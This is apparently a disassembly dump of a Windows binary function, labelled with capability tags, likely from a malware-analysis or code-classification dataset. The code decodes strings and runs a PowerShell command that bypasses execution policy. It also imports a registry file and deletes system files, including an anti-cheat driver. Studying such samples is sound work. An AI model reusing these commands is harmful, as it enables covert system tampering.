Function at 0x1400049f0
Capabilities:
Create directory
Create process on windows
Delete file
Execute command
Persist via windows service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x170]
sub rsp, 0x270
mov rax, qword [0x1400a9080]
xor rax, rsp
mov qword [rbp + 0x168], rax
xor esi, esi
call qword [fcn.14003b450]
mov rbx, rax
mov qword [rbp + 0x140], rax
lea rcx, [0x14009b638]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov word [rbp - 0x68], ax
mov dword [rbp - 0x64], 0x40
movdqa xmm0, xmmword [0x14009c4e0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009c2a0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009c4f0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009cd30]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009c990]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009cd50]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009c0f0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14009c0d0]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmm1
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmmword [rbp + 0x30], xmm1
lea rcx, [rsp + 0x70]
call fcn.140020810
mov rdi, rax
lea rdx, [0x140023d20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rdi
call fcn.140002d40
lea rax, [rbp + 0x120]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x78], 0x7a
mov dword [rbp - 0x74], Ordinal_60
movdqa xmm0, xmmword [0x14009c690]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009cbb0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009cf70]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009ca50]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009cb80]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x7b
lea rcx, [rsp + 0x70]
call fcn.1400201e0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 6
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov ecx, dword [str.244206]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x14009b640]
mov word [rsp + 0x44], cx
mov byte [rsp + 0x46], sil
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400044c0
lea rdx, str.powershell.exe__NoProfile__ExecutionPolicy_Bypass__File_C:WindowsWMSysPr9.ps1
lea rcx, [rsp + 0x70]
call fcn.140020170
mov r11, rax
mov r9d, esi
lea r10, [rax + 0x50]
nop word [rax + rax]
mov ecx, dword [r10]
sub ecx, 0x39
imul r8d, ecx, 0x1f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
add r8d, 0x7f
mov eax, 0x81020409
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [r9 + r11], r8b
inc r9
lea r10, [r10 + 4]
cmp r9, 0x4f
jb 0x140004c00
mov byte [r11 + 0x4f], 0
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x78], 0x7c
mov dword [rbp - 0x74], 0x78
movdqa xmm0, xmmword [0x14009c130]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009cee0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009d060]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c5a0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009cef0]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], reloc.WS2_32.dll_WSACleanup
lea rcx, [rsp + 0x70]
call fcn.14001fb80
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140004d41
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d3c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004d3c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
lea rax, [rbp + 0x120]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x14009d010]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x14009d140]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009c260]
movdqa xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x79
mov dword [rbp - 0x4c], reloc.WS2_32.dll_inet_ntoa
mov dword [rbp - 0x48], reloc.WS2_32.dll_send
lea rcx, [rsp + 0x70]
call fcn.14001f760
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 6
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov ecx, dword [str.347615]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x14009b6a4]
mov word [rsp + 0x44], cx
mov byte [rsp + 0x46], 0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400044c0
xorps xmm0, xmm0
movups xmmword [rbp + 0x148], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140089040
mov qword [rbp + 0x148], rax
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohl
mov qword [rbp + 0x160], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [str.C:_fuckyou.reg]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x14009b6b8]
movsd qword [rax + 0x10], xmm0
mov ecx, dword [0x14009b6c0]
mov dword [rax + 0x18], ecx
mov word [rax + 0x1c], si
mov qword [rsp + 0x30], reloc.WS2_32.dll_ntohl
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 3
lea rcx, [rbp + 0x120]
call fcn.1400035b0
lea r9, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae r9, qword [rbp + 0x120]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
lea r8, str.regedit.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140004ee8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ee3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004ee3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x14009c750]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x14009c340]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009cf90]
movdqa xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], reloc.WLDAP32.dll_Ordinal_30
mov dword [rbp - 0x4c], 0x67
mov dword [rbp - 0x48], 0x52
lea rcx, [rsp + 0x70]
call fcn.14001f340
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140004fa6
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004fa1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fa1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
lea rcx, [0x14009b638]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov word [rbp - 0x68], ax
mov dword [rbp - 0x64], reloc.WLDAP32.dll_Ordinal_22
movdqa xmm0, xmmword [0x14009c100]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009c200]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009c110]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009cea0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009c420]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009ceb0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009c720]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14009c730]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmm1
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmmword [rbp + 0x30], xmm1
lea rcx, [rsp + 0x70]
call fcn.14001e870
mov rdi, rax
lea rdx, [0x140023d20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, rax
mov rdx, rdi
call fcn.140002d40
lea rax, [rbp + 0x120]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x78], 5
mov dword [rbp - 0x74], Ordinal_60
movdqa xmm0, xmmword [0x14009ce30]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009d020]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009cd40]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c360]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009c7a0]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], Ordinal_60
lea rcx, [rsp + 0x70]
call fcn.14001e270
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 6
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov ecx, dword [str.969367]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x14009b6f8]
mov word [rsp + 0x44], cx
mov byte [rsp + 0x46], 0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400044c0
lea rax, [rbp + 0x120]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov word [rbp - 0x78], ax
mov dword [rbp - 0x74], 0x76
movdqa xmm0, xmmword [0x14009c9f0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009cdc0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009c790]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009caa0]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009d0a0]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14009cd10]
movdqa xmmword [rbp - 0x20], xmm1
lea rcx, [rsp + 0x70]
call fcn.14001dbf0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], 6
mov qword [rsp + 0x58], reloc.WS2_32.dll_ntohs
mov ecx, dword [str.243731]
mov dword [rsp + 0x40], ecx
movzx ecx, word [0x14009b700]
mov word [rsp + 0x44], cx
mov byte [rsp + 0x46], 0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.1400044c0
lea rdx, str.C:WindowsIsasetup.log_C:WindowsFairplayKD.sys___NUL_2__NUL
lea rcx, [rsp + 0x70]
call fcn.14001d630
mov rcx, rax
call fcn.14001cc70
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp - 0x78], reloc.WS2_32.dll_WSAGetLastError
mov dword [rbp - 0x74], 0x55
movdqa xmm0, xmmword [0x14009cc10]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009c620]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009cfe0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009ca70]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009cde0]
movdqa xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x20], 0x58
lea rcx, [rsp + 0x70]
call fcn.14001c680
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x14000531d
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005318
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005318
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov word [rbp - 0x78], ax
mov dword [rbp - 0x74], 0x64
movdqa xmm0, xmmword [0x14009cfd0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x14009cc50]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x14009c8b0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x14009c190]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x14009cf50]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x14009c850]
movdqa xmmword [rbp - 0x20], xmm1
lea rcx, [rsp + 0x70]
call fcn.14001bfd0
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140002660
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0x10
cmovae rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x1400053fe
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400053f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14008907c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x70], ax
mov byte [rbp - 0x6e], al
mov dword [rbp - 0x6c], 0x79
mov dword [rbp - 0x68], 9
mov dword [rbp - 0x64], Ordinal_41
movdqa xmm0, xmmword [0x14009c940]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009cb60]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009c610]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009c240]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009c210]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009ccc0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009c220]
movdqa xmmword [rbp], xmm0
mov dword [rbp + 0x10], 0x52
mov dword [rbp + 0x14], 0x5f
mov dword [rbp + 0x18], 0x5f
lea rcx, [rsp + 0x70]
call fcn.14001b6f0
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140002660
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.140002bf0
nop
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400055dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400055dc
lea rdx, str.Erro_ao_criar_o_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002d40
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400038b0
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x1400055a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000559b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005619
call fcn.14008907c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005625
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005620
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005620
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x1400055a1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000559b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000559b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008907c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov word [rbp - 0x68], ax
mov dword [rbp - 0x64], 0x60
movdqa xmm0, xmmword [0x14009c960]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009cb90]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009d0d0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009cc20]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009cb70]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009ca80]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009cba0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14009c300]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x14009ced0]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x14009cab0]
movdqa xmmword [rbp + 0x30], xmm1
lea rcx, [rsp + 0x70]
call fcn.14001ac20
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140002660
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.140002bf0
nop
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140005808
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140005808
lea rdx, str.Erro_ao_criar_o_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002d40
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400038b0
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x1400057cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005845
call fcn.14008907c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005851
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000584c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000584c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x1400057cd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400057c7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.14008907c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
mov dword [rbp - 0x68], eax
mov word [rbp - 0x64], ax
mov byte [rbp - 0x62], al
movdqa xmm0, xmmword [0x14009c9b0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x14009c8c0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x14009c930]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x14009d070]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x14009c270]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x14009cb10]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x14009cae0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14009cb20]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x14009cc90]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x14009cfc0]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x14009c920]
movdqa xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0x40
mov dword [rbp + 0x54], 0x3d
lea rcx, [rsp + 0x70]
call fcn.140019f70
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140002660
nop
lea r8, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae r8, qword [rsp + 0x40]
add r8, qword [rsp + 0x50]
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.140002bf0
nop
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 8
cmovae rcx, qword [rbp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140005a4e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x140005a4e
lea rdx, str.Erro_ao_criar_o_diret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002d40
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.1400038b0
mov rcx, rax
lea rdx, [0x140002f10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 8
jb 0x140005a13
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a0d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005a8b
call fcn.14008907c
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140005a97
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
